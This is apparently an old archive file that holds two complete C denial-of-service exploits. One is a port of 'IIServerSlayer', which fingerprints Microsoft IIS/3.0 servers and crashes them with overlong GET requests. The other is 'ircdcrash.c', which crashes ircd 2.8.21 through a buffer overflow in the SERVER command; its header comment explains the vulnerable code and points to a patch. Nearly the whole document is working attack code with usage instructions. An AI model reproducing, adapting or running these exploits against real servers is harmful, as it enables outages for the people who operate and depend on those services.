home *** CD-ROM | disk | FTP | other *** search
- /* Some days ago I found the page http://www.eden.com/~tfast/jihad.html
- Then I found the java program IIServerSlayer.class made by
- Todd Fast <tfast@eden.com>, the author of the web pages.
- Now I have ported that program in gcc from java using strace and
- disassembling IIServerSlayer.class with javap (part of jdk).
-
- For now is tested by me only on Linux 2.1.42 compiled with gcc 2.7.2.2
- and glibc.
- by Andrea Arcangeli <arcangeli@mbox.queen.it> */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <sys/socket.h>
- #include <unistd.h>
- #include <arpa/inet.h>
- #include <signal.h>
-
- int s;
- struct sockaddr_in addr, spoofedaddr;
- struct hostent *host;
-
- int open_sock(int sock, char *server, int port) {
- struct sockaddr_in blah;
- struct hostent *he;
- bzero((char *)&blah,sizeof(blah));
- blah.sin_family=AF_INET;
- blah.sin_port=htons(port);
- if ((he = gethostbyname(server)) != NULL) {
- bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
- }
- else {
- if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
- perror("gethostbyname()");
- return(2);
- }
- }
- if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
- perror("connect()");
- close(sock);
- return(3);
- }
- return 0;
- }
-
- char *generate_die_string(int lenght) {
- char letter='X';
- char *str_begin = "GET /?bye=",*str_end = " HTTP/1.0\r\n\r\n",*str;
- int i;
- str = (char *)malloc(lenght+strlen(str_end)+strlen(str_begin)+1);
- strcpy(str,str_begin);
- for(i=strlen(str_begin);i<lenght+strlen(str_begin);i++) str[i] = letter;
- str[i]=0;
- strcat(str,str_end);
- return (char *)str;
- }
-
- void IIServerSlayer(char *target,int lenght,int port,int flags) {
- char buff[2],header[512],*IIS_string = "Server: Microsoft-IIS/3.0";
- char *IIS_patch = "Bad Request";
- int count = 0,return_status;
- if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
- perror("socket()");
- exit(1);
- }
- if((return_status = open_sock(s,target,port))) exit(return_status);
- if(lenght) printf("Sending request lenght = %d to %s\n",lenght,target);
- else printf("Sending request to test if %s is a Microsoft-IIS/3.0 server\n"
- ,target);
- send(s,generate_die_string(lenght),strlen(generate_die_string(lenght)),0);
- printf("Waiting for the reply from %s\n",target);
- buff[1]=0;
- while(recv(s,buff,1,0) == 1) {
- if(flags & 1) printf("%s",buff);
- else if(!div(count,50).rem) printf(".");
- if(count < 511) header[count]=buff[0];
- count++;
- }
- printf("\n");
- header[511]=0;
- if(strstr(header,IIS_string) == NULL && lenght == 0) {
- printf("This is not a Microsoft-IIS/3.0 web server\n");
- if(!(flags & 2)) exit(0);
- }
- else if(!lenght) printf("Ok, this is a Microsoft-IIS/3.0 web server\n");
- if(strstr(header,IIS_patch) != NULL) {
- printf("This IIS/3.0 web server is patched against this exploit\n");
- if(!(flags & 2)) exit(0);
- }
- close(s);
- }
-
- void main(int argc,char **argv)
- {
- int i = 1,port = 80,lenght = 8180,flags = 0,param = 0,pid;
- if (argc < 2 ) {
- printf("Usage: %s [-v] [-f] <target> [string_lenght] [port]\n",argv[0]);
- printf("[-v] = verbose mode to view the server reply\n");
- printf("[-f] = force running over non or patched IIS/3.0 web server\n");
- exit(0);
- }
- for(i=1;i<argc;i++) {
- if(!strcmp(argv[i],"-v")) { param++; flags |= 1; }
- if(!strcmp(argv[i],"-f")) { param++; flags |= 2; }
- }
- if(argc > param+2) lenght = atoi(argv[param+2]);
- if(argc > param+3) port = atoi(argv[param+3]);
- for(i=0;i<3;i++,lenght++) {
- if(i) IIServerSlayer(argv[param+1],lenght,port,flags);
- else IIServerSlayer(argv[param+1],0,port,flags);
- if(i == 1 || i == 0) lenght--;
- }
- if((pid = fork())) {
- if(pid == -1) {
- perror("I can' t fork\n");
- exit(-1);
- }
- usleep(60000000); /* wait for 1 minute */
- kill(pid,SIGTERM);
- }
- else {
- IIServerSlayer(argv[param+1],lenght,port,flags);
- printf("Sorry, %s is alive yet\n",argv[param+1]);
- }
- exit(0);
- }
-
-
-
-
- ---------------------------------------------------------------------
-
-
-
- /* ircdcrash.c by fx of nnh (aaron@ug.cs.dal.ca)
- *
- * Shouts out to: Punisher, TCroc, NC, gg, A-Flat, DBN3 crew.
- *
- * Thanks to Andy Church for addressing this problem on Bugtraq.
- *
- * There is a buffer overflow condition in the ircd/s_serv.c file of the
- * ircd2.8.21 distribution and most likely exists in other versions. It is
- * possible to exploit this by sending a very long string as the third
- * parameter (<info>) to the SERVER command. Nothing particularly fancy here,
- * this program will just attempt to segfault the daemon. Here is the syntax
- * of the SERVER command:
- *
- * SERVER <servername> <hopcount> <info>
- *
- * Here is the offending code, out of the m_server function:
- *
- * if (parc > 3 && atoi(parv[2]))
- * {
- * hop = atoi(parv[2]);
- * (void)strncpy(info, parv[3], REALLEN);
- * }
- * else if (parc > 2)
- * {
- * (void)strncpy(info, parv[2], REALLEN);
- * if (parc > 3)
- * {
- * i = strlen(info);
- * (void)strncat(info, " ", REALLEN - i - 1);
- * (void)strncat(info, parv[3], REALLEN - i - 2);
- * }
- *
- * REALLEN is defined to be 50 in include/struct.h. Notice that in order for
- * the second (and therefore third) if() statement to be executed,
- * atoi(parv[2]) must NOT return a value. This means we must not send
- * numeric characters as the second parameter (<hopcount>), but we must send
- * 50 characters to ensure REALLEN - i - 2 will be less then 0.
- *
- * See Andy Church's post on Bugtraq for a patch.
- *
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <strings.h>
- #include <unistd.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <sys/uio.h>
- #include <sys/time.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/wait.h>
-
- int main(int argc, char *argv[])
- {
- char *str;
- int i, port = 6667, soc;
- struct sockaddr_in their_addr;
-
- /* open a socket for connecting */
- if ( (soc = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
- perror("socket");
- exit(0);
- }
-
- if ( argc < 2 ) {
- printf("Usage: %s <ip_of_irc_server> <port>\n", argv[0]);
- exit(1);
- }
- else
- if ( argc > 2 )
- port = atoi(argv[2]);
-
- /* fill-in target address struct */
- their_addr.sin_family = AF_INET;
- their_addr.sin_port = htons(port);
- their_addr.sin_addr.s_addr = inet_addr(argv[1]);
- bzero(&(their_addr.sin_zero),8);
-
- /* copy data into our string */
- str = (char *)malloc(4096);
- strcpy(str, "SERVER warez.blackdown.org aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa :[");
-
- printf("\nCreating string to send... Wait a sec...\n");
-
- for (i = 0; i < 4000; i++)
- strcat(str, "o");
- strcat(str, "]\n");
-
- /* connect to target server */
- if ( connect(soc, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) < 0 ) {
- perror("connect");
- exit(1);
- }
- else {
-
- /* server might have something to say... wait... */
- printf("Wait... Server might be talking to us...\n");
- sleep(8);
-
- /* send string */
- printf("Sending crash string...");
- if ( send(soc, str, strlen(str), 0) < 0 ) {
- perror("send");
- exit(1);
- }
-
- /* finished */
- printf("Done!\n\n");
- close(soc);
- return(1);
- }
- }
-